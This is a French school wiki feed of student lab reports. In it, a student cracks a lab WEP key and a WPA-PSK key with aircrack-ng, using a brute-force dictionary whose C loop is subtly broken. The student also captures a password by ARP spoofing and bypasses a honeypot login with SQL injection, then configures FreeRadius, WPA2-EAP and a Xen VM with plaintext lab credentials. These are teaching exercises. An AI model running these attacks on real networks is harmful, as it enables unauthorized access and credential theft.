On peut voir que tout est bien en place de mon côté. Par contre, il existe un défaut du côté du .space détenu par mon nom de domaine.&lt;br /&gt;
&lt;br /&gt;
      [[Fichier:DNS Léna.png|800px|thumb|left|Interface eth0]]&lt;br /&gt;
&amp;lt;br style=&amp;quot;clear: both;&amp;quot; \&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Tests d'intrusion ==&lt;br /&gt;
&lt;br /&gt;
=== Cassage de clef WEP d’un point d’accès WiFi ===&lt;br /&gt;
&lt;br /&gt;
On branche d’abord une clef wifi et je commence à installer le paquetage aircrack-ng.&lt;br /&gt;
&lt;br /&gt;
Je dois trouver le point d’accès : canal et nom des réseaux.&lt;br /&gt;
&lt;br /&gt;
Via airmon-ng, un script permettant d’activer ou de désactiver le mode moniteur d’une carte réseau. &lt;br /&gt;
&lt;br /&gt;
Dans notre cas, la carte Wi-fi se place en observateur du réseau.&lt;br /&gt;
&lt;br /&gt;
Je liste les interfaces disponibles :&lt;br /&gt;
  root@zabeth09:~# airmon-ng&lt;br /&gt;
    PHY	  Interface	  Driver	Chipset&lt;br /&gt;
    phy0  wlx40a5efd2140c rt2800usb	Ralink Technology, Corp. RT5370&lt;br /&gt;
&lt;br /&gt;
Puis, je passe la carte Wifi wlx40a5efd2140c en mode moniteur, espion du réseau sans fil.&lt;br /&gt;
&lt;br /&gt;
  root@zabeth09:~# airmon-ng start wlx40a5efd2140c&lt;br /&gt;
  Interface wlx40a5efd2140cmon is too long for linux so it will be renamed to the old style (wlan#) name.&lt;br /&gt;
        (mac80211 monitor mode vif enabled on [phy0]wlan0mon&lt;br /&gt;
        (mac80211 station mode vif disabled for [phy0]wlx40a5efd2140c)&lt;br /&gt;
&lt;br /&gt;
Le nom de l'interface a été modifié, considéré trop long et wlan0mon a été choisi.&lt;br /&gt;
&lt;br /&gt;
En relançant airmon-ng, on peut voir que le nom de l’interface a bien été changé&lt;br /&gt;
  root@zabeth09:~# airmon-ng&lt;br /&gt;
    PHY	  Interface	Driver		Chipset&lt;br /&gt;
    phy0    wlan0mon	rt2800usb	Ralink Technology, Corp. RT5370&lt;br /&gt;
&lt;br /&gt;
Je scanne le réseau Wifi, j’obtiens toutes les trames Wifi sur tous les canaux &lt;br /&gt;
  root@zabeth09:~# airmon-ng –encrypt wep wlan0mon&lt;br /&gt;
&lt;br /&gt;
Beaucoup d'informations s'affichent et je visualise cracotte07 dans la liste pour ses informations.&lt;br /&gt;
&lt;br /&gt;
  root@zabeth09:~# airodump-ng --channel 9 --bssid 04:DA:D2:9C:50:56 wlan0mon&lt;br /&gt;
Tous les cracotte se trouvent sur channel 9 et le SSID de cracotte07 est 04:DA:D2:9C:50:56&lt;br /&gt;
&lt;br /&gt;
Je récupère toutes les données qui transitent sur ce channel en me concentrant uniquement sur les paquets échangés avec cracotte07.&lt;br /&gt;
  airodump-ng -w lcrack -c 9 --bssid 04:DA:D2:9C:50:56 wlan0mon&lt;br /&gt;
&lt;br /&gt;
Après avoir suffisamment de trames volées, je lance un autre terminal pour décrypter la clé WEP&lt;br /&gt;
  root@zabeth09:~# aircrack-ng lcrack-01.cap&lt;br /&gt;
  Opening lcrack-01.capse wait…&lt;br /&gt;
&lt;br /&gt;
Il faut attendre plusieurs minutes et on obtient la clé, on peut voir qu’il en a testé 833 avant.&lt;br /&gt;
&lt;br /&gt;
                              Aircrack-ng 1.5.2 &lt;br /&gt;
                 [00:00:00] Tested 833 keys (got 73079 IVs)&lt;br /&gt;
   KB    depth   byte(vote)&lt;br /&gt;
    0    0/ 17   F1(93696) BD(84480) E7(84224) 6F(83456) 12(82176) &lt;br /&gt;
    1    0/  1   91(103680) 34(83968) 54(83456) B3(83456) B9(82432) &lt;br /&gt;
    2    2/  2   60(83200) 3A(82688) 7E(82176) 12(81920) 0E(81664) &lt;br /&gt;
    3   15/  3   B1(79872) 06(79616) 11(79616) 5B(79360) B2(79104) &lt;br /&gt;
    4    0/  1   74(103168) 8D(85248) 03(82176) 7A(82176) 21(81664) &lt;br /&gt;
             KEY FOUND! [ F1:DE:D4:00:00:00:00:00:00:09:99:99:99 ] &lt;br /&gt;
    Decrypted correctly: 100%&lt;br /&gt;
&lt;br /&gt;
=== Cassage de mot de passe WPA-PSK par force brute === &lt;br /&gt;
En utilisant la même méthode, on peut craquer une autre clef WPA.&lt;br /&gt;
  root@zabeth09:~# airodump-ng -w lkrack -c 4 --bssid 00:14:1B:60:8C:26 wlan0mon&lt;br /&gt;
    -rw-r--r-- 1 root root  88K Nov  4 17:11 lkrack-03.cap&lt;br /&gt;
&lt;br /&gt;
Le craquage doit se faire avec l’aide d’un dictionnaire. On suppose que la clef WPA est un nombre sur 8 chiffres, je vais donc créer un dictionnaire de ce format via un code en langage c.&lt;br /&gt;
&lt;br /&gt;
  int main(void){&lt;br /&gt;
        int x;&lt;br /&gt;
        for(x=0; x=99999999; x++){&lt;br /&gt;
            printf(&amp;quot;%08d\n&amp;quot;,x);&lt;br /&gt;
        }&lt;br /&gt;
  }&lt;br /&gt;
&lt;br /&gt;
Je compile main.c, ça consiste en une série d'étapes de transformation du code source en du code machine exécutable. La série de nombres doit se retrouver alors dans mon fichier cible dico. &lt;br /&gt;
  root@zabeth09:~# gcc -Wall -o dico main.c&lt;br /&gt;
&lt;br /&gt;
Je vérifie que cette commande s'est bien déroulée, en vérifiant le début et la fin du fichier dico.&lt;br /&gt;
  root@zabeth09:~# ./dico | more&lt;br /&gt;
    00000000&lt;br /&gt;
    00000001&lt;br /&gt;
    00000002&lt;br /&gt;
    00000003&lt;br /&gt;
    00000004&lt;br /&gt;
  root@zabeth09:~# ./dico | tail&lt;br /&gt;
    99999995&lt;br /&gt;
    99999996&lt;br /&gt;
    99999997&lt;br /&gt;
    99999998&lt;br /&gt;
    99999999&lt;br /&gt;
&lt;br /&gt;
Je finis par les transférer dans un fichier .txt&lt;br /&gt;
  root@zabeth09:~# ./dico &amp;gt; dico.txt&lt;br /&gt;
&lt;br /&gt;
Je choisis de lancer le traitement sur 2 pc plus puissant, normalement 5 fois plus, zabeth22 et zabeth26, que mon pc zabeth09. &lt;br /&gt;
Je commence à exécuter le traitement sur le fichier que je viens de créer dico.txt comportant tous les nombres de 0 à 9999 9999.&lt;br /&gt;
  root@zabeth22:~# aircrack-ng -w /tmp/dico.txt /tmp/&lt;br /&gt;
  root@zabeth22:~# aircrack-ng -w /tmp/dico.txt /tmp/lkrack-03.cap  &amp;gt; /tmp/result&lt;br /&gt;
&lt;br /&gt;
En remarquant le temps que cela va prendre, je décide de couper ce fichier en 2 et de lancer un autre traitement mais seulement sur les nombres à partir de 4999 9999. L'exécution est censée prendre 2 fois moins de temps que celle sur zabeth22.&lt;br /&gt;
  root@zabeth09:~# split -n 2 dico.txt&lt;br /&gt;
J’obtiens alors 2 fichiers xaa et xab, comportant les 2 moitiés de dico&lt;br /&gt;
  root@zabeth09:~# ls -lhrt &lt;br /&gt;
  -rw-r--r-- 1 root root  101 Nov  4 17:09 main.c&lt;br /&gt;
  -rwxr-xr-x 1 root root  17K Nov  4 17:09 dico&lt;br /&gt;
  -rw-r--r-- 1 root root 430M Nov  4 17:15 xaa&lt;br /&gt;
  -rw-r--r-- 1 root root 430M Nov  4 17:15 xab&lt;br /&gt;
En tapant la commande tail, je vérifie que celui que je veux est bien xab&lt;br /&gt;
&lt;br /&gt;
Puis je passe sur zabeth26 et je passe au même procédé que sur zabeth22&lt;br /&gt;
  root@zabeth26:~# aircrack-ng -w /tmp/xab /tmp/lkrack-03.cap  &amp;gt; /tmp/result&lt;br /&gt;
&lt;br /&gt;
Pour finir, je fais en sorte de voir en direct les deux calculs de correction de clé (défilement des nombres)&lt;br /&gt;
  root@zabeth22:~# cat /tmp/result &lt;br /&gt;
    Aircrack-ng 1.5.2 &lt;br /&gt;
      [00:09:13] 10260165/102795810 keys tested (3427.05 k/s) &lt;br /&gt;
      Time left: 7 hours, 30 minutes, 1 second      9.98%&lt;br /&gt;
                           KEY FOUND! [ 10255555 ]&lt;br /&gt;
&lt;br /&gt;
La clé se trouvait dans les 1er 10 % de dico. &lt;br /&gt;
On peut lire le temps qu’il lui restait pour tout analyser, ça confirme que c’était une bonne idée de lancer le second traitement.&lt;br /&gt;
Il est logique que celui-ci nous donne aucune clé en réponse.&lt;br /&gt;
&lt;br /&gt;
  root@zabeth26:~# cat /tmp/result &lt;br /&gt;
   [00:46:05] 50000000/51397904 keys tested (3498.19 k/s) &lt;br /&gt;
      Time left: 0 seconds              97.28%&lt;br /&gt;
                          KEY NOT FOUND&lt;br /&gt;
Anecdote, le traitement est considéré terminé au vu du temps qu'il ne reste pas, mais il est tout de même écrit 97.28% d'analyse effectuée. Il existe souvent des petites erreurs de suivis des ordinateurs, mais non critiques.&lt;br /&gt;
&lt;br /&gt;
=== Attaque de type &amp;quot;homme au milieu&amp;quot; par usurpation ARP ===&lt;br /&gt;
&lt;br /&gt;
J'ai besoin du paquetage dsniff qui contient plusieurs outils pour écouter ou créer du trafic réseau :&lt;br /&gt;
&lt;br /&gt;
- arpspoof : envoie des réponses ARP non requises et potentiellement falsifiées&lt;br /&gt;
&lt;br /&gt;
- dnsspoof : crée des réponses à des requêtes d'adresse ou de pointeur DNS arbitraires sur le réseau local&lt;br /&gt;
&lt;br /&gt;
- dsniff : écoute de mots de passe pour différents protocoles&lt;br /&gt;
&lt;br /&gt;
Je vérifie d’abord que dorade est bien configuré au niveau du réseau.&lt;br /&gt;
  root@dorade:/home/pifou# cat /etc/network/interfaces&lt;br /&gt;
    # This is an autoconfigured IPv6 interface&lt;br /&gt;
    iface eth0 inet static&lt;br /&gt;
        address 172.26.145.101&lt;br /&gt;
        netmask 255.255.255.0&lt;br /&gt;
        gateway 172.26.145.254&lt;br /&gt;
&lt;br /&gt;
Je récupère son interface ethernet, la commande liste toutes les interfaces avec les informations nécessaires&lt;br /&gt;
  root@dorade:/home/pifou# ip a&lt;br /&gt;
    1: lo: &amp;lt;LOOPBACK,UP,LOWER_UP&amp;gt; mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1&lt;br /&gt;
    2: eth0: &amp;lt;BROADCAST,MULTICAST,UP,LOWER_UP&amp;gt; mtu 1500 qdisc pfifo_fast state UP group default qlen 1000&lt;br /&gt;
&lt;br /&gt;
Une commande permet de voir la table de routage.&lt;br /&gt;
  root@dorade:/home/pifou# ip r&lt;br /&gt;
    default via 172.26.145.254 dev eth0 onlink &lt;br /&gt;
    169.254.0.0/16 dev eth0 scope link metric 1000 &lt;br /&gt;
    172.26.145.0/24 dev eth0 proto kernel scope link src 172.26.145.101 &lt;br /&gt;
&lt;br /&gt;
Je vérifie qu’il est bien relié au réseau en pingant zabeth09.&lt;br /&gt;
  root@dorade:/home/pifou# ping zabeth09&lt;br /&gt;
    PING zabeth09(2001:660:4401:6050:5000::9 (2001:660:4401:6050:5000::9)) 56 data bytes&lt;br /&gt;
    64 bytes from 2001:660:4401:6050:5000::9 (2001:660:4401:6050:5000::9): icmp_seq=1 ttl=64 time=0.914 ms&lt;br /&gt;
    64 bytes from 2001:660:4401:6050:5000::9 (2001:660:4401:6050:5000::9): icmp_seq=2 ttl=64 time=0.813 ms&lt;br /&gt;
    --- zabeth09 ping statistics ---&lt;br /&gt;
    2 packets transmitted, 2 received, 0% packet loss, time 1001ms&lt;br /&gt;
    rtt min/avg/max/mdev = 0.813/0.863/0.914/0.058 ms&lt;br /&gt;
&lt;br /&gt;
En vérifiant toutes ces informations, je valide le fait qu’il est bien configuré au réseau et peut communiquer avec tous les équipements dont zabeth09.&lt;br /&gt;
&lt;br /&gt;
Je transforme dorade en routeur, ce mode est géré par la variable noyau /proc/sys/net/ipv4/ip_forward.&lt;br /&gt;
&lt;br /&gt;
- La commande retourne la valeur 0 : l'IP Forwarding n'est pas activé.&lt;br /&gt;
&lt;br /&gt;
- La commande retourne la valeur 1 : l'IP Forwarding est activé.&lt;br /&gt;
  root@dorade:/home/pifou# cat /proc/sys/net/ipv4/ip_forward      0 &lt;br /&gt;
Dorade n’est pas en mode routeur, je passe alors le noyau à 1&lt;br /&gt;
  root@dorade:/home/pifou# echo 1 &amp;gt; /proc/sys/net/ipv4/ip_forward &lt;br /&gt;
&lt;br /&gt;
J'utilise la commande arpsppof, en prenant les informations collectées au début.&lt;br /&gt;
Dorade via eth0, son interface ethernet, envoie des réponses ARP non requises à zabeth09 en passant par le gateway, qui examine la légitimité de sa demande qui en réalité ne l'est pas.&lt;br /&gt;
  root@dorade:/home/pifou# arpspoof -i eth0 -t zabeth09 172.26.145.254&lt;br /&gt;
    5c:b9:1:80:a7:1 0:15:17:6f:94:5c 0806 42: arp reply 172.26.145.254 is-at 5c:b9:1:80:a7:1&lt;br /&gt;
    5c:b9:1:80:a7:1 0:15:17:6f:94:5c 0806 42: arp reply 172.26.145.254 is-at 5c:b9:1:80:a7:1&lt;br /&gt;
    5c:b9:1:80:a7:1 0:15:17:6f:94:5c 0806 42: arp reply 172.26.145.254 is-at 5c:b9:1:80:a7:1&lt;br /&gt;
    5c:b9:1:80:a7:1 0:15:17:6f:94:5c 0806 42: arp reply 172.26.145.254 is-at 5c:b9:1:80:a7:1&lt;br /&gt;
&lt;br /&gt;
Lors de cette étape toujours en cours, je lance un second terminal.&lt;br /&gt;
Je vérifie que dorade est bien routeur et installe wireshark, il permet d'analyser les paquets, le réseau et les protocoles.&lt;br /&gt;
  root@dorade:/home/pifou# cat /proc/sys/net/ipv4/ip_forward      1&lt;br /&gt;
  root@dorade:/home/pifou# wireshark&lt;br /&gt;
      [[Fichier:Mdp zabeth09.png|800px|thumb|left|Interface eth0]]&lt;br /&gt;
&amp;lt;br style=&amp;quot;clear: both;&amp;quot; \&amp;gt;&lt;br /&gt;
On voit tous les protocoles de transfert dont celui qui m'a permis de récupérer des informations confidentielles, ici le nom d'utilisateur : pifou et le mot de passe : pasglop.&lt;br /&gt;
On peut aussi savoir que je l'ai récupéré par un site de Polytech : http://applications.polytech-lille.fr&lt;br /&gt;
&lt;br /&gt;
=== Intrusion sur un serveur d’application Web ===&lt;br /&gt;
&lt;br /&gt;
Je veux m'introduire sur un site de Polytech honey.plil.info.&lt;br /&gt;
Je commence par trouver une requête SQL qui vérifiera la validité de la connexion pour la page d'identification de ce site.&lt;br /&gt;
  SELECT id FROM users WHERE id='$id' AND pass='$pass';&lt;br /&gt;
Puis je dois trouver ce que doit contenir $pass pour que cette requête récupère en fait toutes les lignes de la table utilisateurs.&lt;br /&gt;
Le true n'existe pas en SQL, je vais alors en simuler un : ' OR ''='&lt;br /&gt;
&lt;br /&gt;
Pour accéder au site, qui me demande un identifiant et un mot de passe, je procède de cette façon : Nom d'utilisateur : N'importe et mot de passe : ' OR ''='&lt;br /&gt;
&lt;br /&gt;
J'accède au site qui m'affiche la liste des utilisateurs et leur mot de passe&lt;br /&gt;
[[Fichier:Honey_Léna.png|380px|thumb|left|Listes des utilisateurs]]&lt;br /&gt;
&amp;lt;br style=&amp;quot;clear: both;&amp;quot; \&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Réalisation ==&lt;br /&gt;
&lt;br /&gt;
=== Sécurisation WiFi par WPA2-EAP ===&lt;br /&gt;
&lt;br /&gt;
==== Configuration serveur FreeRadius ====&lt;br /&gt;
&lt;br /&gt;
L'objectif est le contrôle par WPA2-EAP de l'accès à la borne WIFI. L'identification sera fera grâce à un serveur FreeRadius, qui permet de centraliser tous les utilisateurs, pour la sécurisation filaire.&lt;br /&gt;
&lt;br /&gt;
Je dois procéder à la configurarion du serveur FreeRadius sur ma machine virtuelle.&lt;br /&gt;
&lt;br /&gt;
Evidemment, je commence par l'installer, en procédant d'abord à une mise à jour.&lt;br /&gt;
  apt update&lt;br /&gt;
  apt install freeradius&lt;br /&gt;
&lt;br /&gt;
Puis je passe à la configuration et ajoute un utilisateur dans le fichier /etc/freeradius/3.0/users&lt;br /&gt;
  pifou Cleartext-Password := &amp;quot;glopglop&amp;quot;&lt;br /&gt;
&lt;br /&gt;
/etc/freeradius/3.0/mods-enabled/eap&lt;br /&gt;
  eap{&lt;br /&gt;
     default_eap_type = peap&lt;br /&gt;
  }&lt;br /&gt;
&lt;br /&gt;
/etc/freeradius/3.0//mods-enabled/mschap&lt;br /&gt;
  //Décommenter et vérifier&lt;br /&gt;
    use_mppe = yes&lt;br /&gt;
    require_encryption = yes&lt;br /&gt;
    require_strong = yes&lt;br /&gt;
  //Ajouter&lt;br /&gt;
    with_ntdomain_hack = yes&lt;br /&gt;
&lt;br /&gt;
Dans le fichier /etc/freeradius/3.0/clients.conf rajouter la borne comme un client qui se connectera sur le server radius:&lt;br /&gt;
  client access-point { /Nom du client&lt;br /&gt;
    ipaddr = 10.60.0.100 //Adress IP de la borne&lt;br /&gt;
    secret = glopglop //Mot secret saisi lors de la configuration&lt;br /&gt;
  }&lt;br /&gt;
&lt;br /&gt;
Une fois toutes les configurations terminées, j'arrête le serveur. Il faut faire attention car la commande stop n'a pas fonctionné.&lt;br /&gt;
 service freeradius stop&lt;br /&gt;
  ps auxwww | grep free&lt;br /&gt;
     root     18316  0.0  0.0   3084   888 pts/0    S+   22:49   0:00 grep free&lt;br /&gt;
  kill 10659&lt;br /&gt;
Relancer en mode debug afin de visualiser les requêtes et tentatives de connexions&lt;br /&gt;
  freeradius -X&lt;br /&gt;
&lt;br /&gt;
==== Configuration des points d'accès WiFi ====&lt;br /&gt;
&lt;br /&gt;
Il faut que j'ajoute un SSID protégé par la méthode WPA2-EAP à la configuration du point d’accès WiFi. Cela implique d’utiliser un nouveau VLAN donc un nouveau réseau IP à router par le routeur Wifi. Il faut aussi configurer le serveur virtuel Xen comme serveur d'identification.&lt;br /&gt;
&lt;br /&gt;
J'accède à la configuration de la borne WiFi&lt;br /&gt;
  minicom -os&lt;br /&gt;
  port : /dev/ttyUSB2&lt;br /&gt;
Je peux vérifier que je suis sur la bonne borne en arrivant sur ap#&lt;br /&gt;
&lt;br /&gt;
Je passe en mode privilégié et en mode configuration&lt;br /&gt;
  ap#enable      &lt;br /&gt;
  ap#config term   &lt;br /&gt;
&lt;br /&gt;
On met la commande suivante pour :&lt;br /&gt;
&lt;br /&gt;
authentification : vérifier l'identité de l'utilisateur &lt;br /&gt;
&lt;br /&gt;
authorization : pouvoir limiter l'accès à certaines fonctionnalités &lt;br /&gt;
&lt;br /&gt;
accounting : pouvoir enregistrer les actions de l'utilisateur&lt;br /&gt;
&lt;br /&gt;
   ap(config)#aaa new-model                                                                        &lt;br /&gt;
&lt;br /&gt;
Création du serveur radius en prenant mon adresse IP et le mot de passe choisi lors de la configuration du serveur FreeRadius&lt;br /&gt;
  ap(config)#radius-server host 193.48.57.171 auth-port 1812 acct-port 1813 key glopglop    &lt;br /&gt;
&lt;br /&gt;
Définition du groupe de serveur&lt;br /&gt;
  ap(config)#aaa group server radius radius_lulya&lt;br /&gt;
&lt;br /&gt;
Association du groupe de serveur et du serveur de la VM&lt;br /&gt;
  ap(config)#server 193.48.57.171 auth-port 1812 acct-port 1813&lt;br /&gt;
&lt;br /&gt;
Définition du login et du groupe de serveur par lequel l'utilisateur passera pour s'authentifier&lt;br /&gt;
  ap(config)#aaa authentication login eap_lulya group radius_lulya&lt;br /&gt;
&lt;br /&gt;
Définition du SSID protégé par la méthode WPA2-EAP&lt;br /&gt;
  ap(config)#dot11 ssid SSID_lulya //Reprise du nom Lulya                           &lt;br /&gt;
  ap(config-ssid)#vlan 10&lt;br /&gt;
  ap(config-ssid)#authentication open eap eap_lulya     &lt;br /&gt;
  ap(config-ssid)#authentication network-eap eap_lulya                            &lt;br /&gt;
  ap(config-ssid)#authentication key-management wpa    &lt;br /&gt;
&lt;br /&gt;
Configuration du Vlan&lt;br /&gt;
  ap(config)#interface Dot11Radio0                                                &lt;br /&gt;
  ap(config-if)#encryption vlan 10 mode ciphers aes-ccm tkip                      &lt;br /&gt;
  ap(config-if)#ssid SSID_lulya                                                   &lt;br /&gt;
&lt;br /&gt;
Création de sous interfaces&lt;br /&gt;
  ap(config)#interface dot11Radio0.10                                             &lt;br /&gt;
  ap(config-subif)#encapsulation dot1Q 10                                         &lt;br /&gt;
  ap(config-subif)#bridge-group 10          &lt;br /&gt;
&lt;br /&gt;
  ap(config)#interface fast0.10  &lt;br /&gt;
  ap(config-subif)#encapsulation dot1Q 10                                         &lt;br /&gt;
  ap(config-subif)#bridge-group 10               &lt;br /&gt;
&lt;br /&gt;
Ajout SSID dans l'interface Dot11Radio0&lt;br /&gt;
  ap(config-subif)#interface Dot11Radio0                                          &lt;br /&gt;
  ap(config-if)#dot11 ssid SSID_lulya                                         &lt;br /&gt;
&lt;br /&gt;
Rendre le SSID visible&lt;br /&gt;
  ap(config-ssid)#interface Dot11Radio0                                           &lt;br /&gt;
  ap(config-if)#mbssid                                                            &lt;br /&gt;
  ap(config-if)#dot11 ssid SSID_lulya                                             &lt;br /&gt;
  ap(config-ssid)#mbssid guest-mode    &lt;br /&gt;
&lt;br /&gt;
Je quitte tout en utilisant &amp;lt;code&amp;gt;exit&amp;lt;/code&amp;gt;, puis faire un &amp;lt;code&amp;gt;write&amp;lt;/code&amp;gt; pour prendre en compte toutes les configurations, pour finir je &amp;lt;code&amp;gt;reload&amp;lt;/code&amp;gt; &lt;br /&gt;
  ap(config)#write                                                                        &lt;br /&gt;
    Building configuration...                                                       &lt;br /&gt;
    [OK]&lt;/div&gt;</summary>
		<author><name>Lchenu</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=Fichier:DNS_L%C3%A9na.png&amp;diff=53873</id>
		<title>Fichier:DNS Léna.png</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=Fichier:DNS_L%C3%A9na.png&amp;diff=53873"/>
				<updated>2020-11-17T13:17:05Z</updated>
		
		<summary type="html">&lt;p&gt;Lchenu : &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;&lt;/div&gt;</summary>
		<author><name>Lchenu</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA2a5_2020/2021_G7&amp;diff=53872</id>
		<title>TP sysres IMA2a5 2020/2021 G7</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA2a5_2020/2021_G7&amp;diff=53872"/>
				<updated>2020-11-17T13:16:08Z</updated>
		
		<summary type="html">&lt;p&gt;Lchenu : /* Intrusion sur un serveur d’application Web */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== Installation de la machine virtuelle Xen ==&lt;br /&gt;
&lt;br /&gt;
=== Création de la VM ===&lt;br /&gt;
Je commence par créer la VM sur le serveur commun capbreton, je me connecte alors en ssh&lt;br /&gt;
  ssh root@capbreton.plil.info &lt;br /&gt;
&lt;br /&gt;
Nom de ma machine : hawker&lt;br /&gt;
&lt;br /&gt;
Adresse IP de la machine : 193.48.57.171&lt;br /&gt;
&lt;br /&gt;
Adresse du routeur : 193.48.57.163&lt;br /&gt;
&lt;br /&gt;
Le répertoire des disques virtuels : /usr/local/xen&lt;br /&gt;
&lt;br /&gt;
xen-create-image est une commande qui permet de créer facilement de nouvelles instances Xen.&lt;br /&gt;
  xen-create-image --hostname=hawker --ip=193.48.57.171 --gateway=193.48.57.163 --dir=/usr/local/xen –dist=beowulf&lt;br /&gt;
&lt;br /&gt;
J’ai aussi utilisé une seconde méthode qui fonctionne mieux en gardant le nom de ma machine hawker&lt;br /&gt;
&lt;br /&gt;
	Le miroir Debian est celui de l’école : http://fr.deb.devuan.org/merged/&lt;br /&gt;
&lt;br /&gt;
	La distribution stable courant :  http://proxy.polytech-lille.fr:3128&lt;br /&gt;
&lt;br /&gt;
  xen-create-image --hostname=hawker --dhcp --dir=/usr/local/xen --dist=ascii --apt_proxy=http://proxy.polytech-lille.fr:3128 --mirror=http://fr.deb.devuan.org/merged/ --force&lt;br /&gt;
&lt;br /&gt;
En lançant un second terminal, je peux suivre le processus d’installation&lt;br /&gt;
  tail -f /var/log/xen-tools/hawker.log&lt;br /&gt;
&lt;br /&gt;
Lorsque l’installation est terminée, j'obtiens plusieurs informations dont le mot de passe du routeur.&lt;br /&gt;
&lt;br /&gt;
     Installation Summary&lt;br /&gt;
     ---------------------&lt;br /&gt;
     Hostname        :  hawker&lt;br /&gt;
     Distribution    :  ascii&lt;br /&gt;
     MAC Address     :  00:16:3E:A4:65:07&lt;br /&gt;
     IP Address(es)  :  dynamic&lt;br /&gt;
     SSH Fingerprint :  SHA256:xxxxxxx (DSA)&lt;br /&gt;
     SSH Fingerprint :  SHA256:xxxxxxx (ECDSA)&lt;br /&gt;
     SSH Fingerprint :  SHA256:xxxxxxx (ED25519)&lt;br /&gt;
     SSH Fingerprint :  SHA256:xxxxxxx (RSA)&lt;br /&gt;
     Root Password   :  xxxxxxxxxxxxxxxxxxxxxxxx&lt;br /&gt;
&lt;br /&gt;
Via la commande passwd, j'ai changé le mot de passe par &amp;quot;glopglop&amp;quot;&lt;br /&gt;
&lt;br /&gt;
=== Configuration de la VM ===&lt;br /&gt;
&lt;br /&gt;
Pour commencer, je dois modifier le fichier de configuration de la VM pour donner accès au bridge réseau.&lt;br /&gt;
Je récupère le nom du bridge &amp;quot;IMA2a5&amp;quot;&lt;br /&gt;
  brctl show &lt;br /&gt;
    bridge name        bridge id             STP enabled     interfaces&lt;br /&gt;
    '''IMA2a5             8000.34800d508a83     no              ether1'''&lt;br /&gt;
    IMA5sc             8000.34800d508a82     no              ether0&lt;br /&gt;
    L3MRIT             8000.b026289b2c9a     no              ether2&lt;br /&gt;
    Trunk              8000.4cd98fa49258     no              ether4&lt;br /&gt;
    bridgeGIS          8000.4cd98fa49258     no              vlan502&lt;br /&gt;
&lt;br /&gt;
J'accède au fichier de configuration de ma VM /etc/xen/hawker.cfg&lt;br /&gt;
J'ajoute mon adresse MAC donnée précédemment et le bridge IMA2a5. &lt;br /&gt;
&lt;br /&gt;
 kernel      = '/boot/vmlinuz-4.9.0-6-amd64'&lt;br /&gt;
 extra       = 'elevator=noop'&lt;br /&gt;
 ramdisk     = '/boot/initrd.img-4.9.0-6-amd64'&lt;br /&gt;
 &lt;br /&gt;
 vcpus       = '1'&lt;br /&gt;
 memory      = '1024'&lt;br /&gt;
 &lt;br /&gt;
 root        = '/dev/xvda2 ro'&lt;br /&gt;
 disk        = [&lt;br /&gt;
                   'file:/usr/local/xen/domains/hawker/disk.img,xvda2,w',&lt;br /&gt;
                   'file:/usr/local/xen/domains/hawker/swap.img,xvda1,w',&lt;br /&gt;
               ]&lt;br /&gt;
 &lt;br /&gt;
 name        = 'hawker'&lt;br /&gt;
 &lt;br /&gt;
 '''vif         = [ 'mac=00:16:3E:A4:65:07, bridge=IMA2a5' ]'''&lt;br /&gt;
 &lt;br /&gt;
 on_poweroff = 'destroy'&lt;br /&gt;
 on_reboot   = 'restart'&lt;br /&gt;
 on_crash    = 'restart'&lt;br /&gt;
&lt;br /&gt;
J'accède à ma machine virtuelle&lt;br /&gt;
  xl create /etc/xen/hawker.cfg&lt;br /&gt;
  xl console hawker&lt;br /&gt;
&lt;br /&gt;
Je crée deux répertoires var et home qui seront sur des partitions LVM de l'hôte&lt;br /&gt;
  lvcreate -L10G -n hawker-var virtual&lt;br /&gt;
  lvcreate -L10G -n hawker-home virtual&lt;br /&gt;
&lt;br /&gt;
Je pointe le système de fichier sur les deux nouvelles partitions &lt;br /&gt;
  mke2fs /dev/virtual/hawker-home&lt;br /&gt;
  mke2fs /dev/virtual/hawker-var&lt;br /&gt;
&lt;br /&gt;
Les disques sont finalisés, je les connecte à la VM en modifiant le fichier de configuration hawker.cfg.&lt;br /&gt;
&lt;br /&gt;
 disk        = [&lt;br /&gt;
                   'file:/usr/local/xen/domains/hawker/disk.img,xvda2,w',&lt;br /&gt;
                   'file:/usr/local/xen/domains/hawker/swap.img,xvda1,w',&lt;br /&gt;
                   ''''phy:/dev/virtual/hawker-home,xvdb1,w','''&lt;br /&gt;
                   ''''phy:/dev/virtual/hawker-var,xvdb2,w','''&lt;br /&gt;
               ]&lt;br /&gt;
&lt;br /&gt;
Puis je redémarre la VM pour prendre en compte les modifications&lt;br /&gt;
  xl shutdown hawker&lt;br /&gt;
  xl create /etc/xen/hawker.cfg&lt;br /&gt;
&lt;br /&gt;
A travers le fichier /etc/fstab, je dois modifier la configuration pour forcer le montage à chaque démarrage.&lt;br /&gt;
  /dev/xvdb1     /home ext4  defaults   0   2&lt;br /&gt;
  #/dev/xvdb2    /var  ext4  defaults   0   2&lt;br /&gt;
A travers c’est deux commandes, j’assure la montée des 2 disques /home et /var à chaque démarrage. Juste avant cette étape pour /var, que je laisse en commentaire, j’ai du assurer le systèmes de fichiers. Il faut bien faire attention, une mauvaise manipulation peut détruire la machine.&lt;br /&gt;
  mkfs -t ext4 /dev/xvdb2&lt;br /&gt;
  mount /dev/xvdb2 /mnt&lt;br /&gt;
  mv /var/* /mnt&lt;br /&gt;
  blkid Trouver ou afficher les attributs de périphérique bloc&lt;br /&gt;
    /dev/xvda2: UUID=&amp;quot;efa11821-8780-4938-9473-5d217752316e&amp;quot; TYPE=&amp;quot;ext4&amp;quot;&lt;br /&gt;
    /dev/xvda1: UUID=&amp;quot;1a3161b3-a90d-4da5-a224-cfc496e70c89&amp;quot; TYPE=&amp;quot;swap&amp;quot;&lt;br /&gt;
    /dev/xvdb1: UUID=&amp;quot;5645526d-2cf4-42b5-a4a7-94fdda100ca1&amp;quot; TYPE=&amp;quot;ext4&amp;quot;&lt;br /&gt;
